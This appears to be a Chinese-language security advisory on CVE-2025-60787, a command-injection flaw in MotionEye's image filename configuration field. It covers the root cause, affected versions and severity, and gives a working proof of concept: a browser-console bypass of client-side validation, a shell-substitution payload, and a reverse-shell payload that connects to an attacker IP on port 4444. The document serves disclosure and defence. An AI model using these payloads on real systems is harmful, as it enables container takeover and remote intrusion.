MotionEye命令注入漏洞分析:通过未过滤配置参数实现远程代码执行

本文详细分析了MotionEye监控软件中的高危命令注入漏洞CVE-2025-60787,攻击者可通过Web界面注入恶意配置实现远程代码执行,完全控制MotionEye容器环境。

MotionEye vulnerable to RCE via unsanitized motion config parameter

漏洞详情

包管理器: pip
受影响版本: < 0.43.1b5
修复版本: 0.43.1b5

描述

摘要

MotionEye中存在命令注入漏洞,允许攻击者通过Web界面配置字段提供恶意值来实现远程代码执行(RCE)。由于MotionEye将用户提供的值直接写入Motion配置文件而未进行清理,攻击者可以注入在Motion进程重启时执行的shell语法。此问题可能导致MotionEye容器完全被接管,并可能影响主机环境(取决于容器权限)。

详情

根本原因: MotionEye接受来自Web界面中image_file_namemovie_filename等字段的任意字符串,这些值被直接写入/etc/motioneye/camera-*.conf。当MotionEye重启Motion服务(motionctl.start)时,Motion二进制文件读取此配置。由于Motion将这些字段视为可进行shell扩展,注入的字符(如$()、反引号)被解释为shell命令。

漏洞流程:

1
2
3
4
5
6
7
8
9
仪表板(Web界面

ConfigHandler.set_config()

camera-*.conf 被写入

motionctl.restart()

Motion解析配置  执行payload

受影响代码: 问题出现在config.py在处理用户输入并将其写入配置文件之前。文件名字段未应用任何清理或白名单验证。

概念验证(PoC)

以下步骤重现了MotionEye中的远程代码执行(RCE)漏洞。 使用官方Docker镜像进行测试。

环境设置

启动MotionEye容器 启动易受攻击的容器:

1
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

验证版本 在日志中确认运行版本:

1
docker logs motioneye | grep "motionEye server"

结果:

1
motionEye server 0.43.1b4

容器shell访问(用于后续验证) 保留一个shell以便验证结果:

1
2
docker exec -it motioneye /bin/bash
ls -la /tmp

利用步骤

访问Web界面

  • 在浏览器中打开:http://127.0.0.1:9999
  • 使用默认凭据登录:admin / (空密码)
  • 添加示例RTSP网络摄像头(需要启用摄像头特定设置)

尝试恶意文件名输入

  • 转到:摄像头设置 → 静态图像
  • 在图像文件名字段中,尝试:
1
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

观察:这被浏览器中的客户端验证阻止。

客户端验证发现

检查在JavaScript中实现:

/static/js/main.js?v=0.43.1b4 → 引用 /static/js/ui.js?v=0.43.1b4

示例验证函数:

1
2
3
4
5
6
7
8
function configUiValid() {
  $('div.settings').find('.validator').each(function () { this.validate(); });
  var valid = true;
  $('div.settings input, select').each(function () {
    if (this.invalid) { valid = false; return false; }
  });
  return valid;
}

绕过验证

  • 打开浏览器控制台(F12 → 控制台选项卡)
  • 覆盖函数始终返回true:
1
configUiValid = function() { return true; };

这绕过了客户端验证并允许任意值。

注入Payload

  • 设置捕获模式:间隔快照
  • 设置间隔:10
  • 设置图像文件名为payload:
1
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
  • 点击应用保存设置。

验证执行

在容器shell中:

1
ls -la /tmp

结果:文件/tmp/test以root权限创建,确认代码执行。

武器化RCE(反向Shell示例)

启动攻击者监听器

1
nc -lvnp 4444

注入反向shell payload 在图像文件名字段中输入以下内容:

1
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

结果

  • 反向shell连接回攻击者的机器
  • 攻击者获得MotionEye容器环境的完全控制

根本原因

MotionEye将来自Web界面的未清理值(例如image_file_name)直接写入camera-<id>.conf。 重启时,motion二进制文件将这些字段解析为可进行shell扩展的字符串,导致任意命令执行。

影响

类型: 操作系统命令注入 → 远程代码执行

受影响对象:

  • 任何攻击者可以以admin身份认证的MotionEye部署(或UI暴露且使用默认/无密码的情况)
  • 容器化和裸机安装同样受影响

潜在后果:

  • MotionEye容器完全被攻陷
  • 如果容器以特权权限运行或挂载敏感主机卷,可能导致横向移动或主机被攻陷

参考资料

严重性

高危 - CVSS评分:7.2/10

CVSS v3基础指标:

  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:高
  • 用户交互:无
  • 范围:未改变
  • 机密性:高
  • 完整性:高
  • 可用性:高

弱点

  • CWE-78: 在OS命令中使用的特殊元素的不当中和(‘OS命令注入’)
  • CWE-116: 输出的不当编码或转义

CVE ID: CVE-2025-60787
GHSA ID: GHSA-j945-qm58-4gjx

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计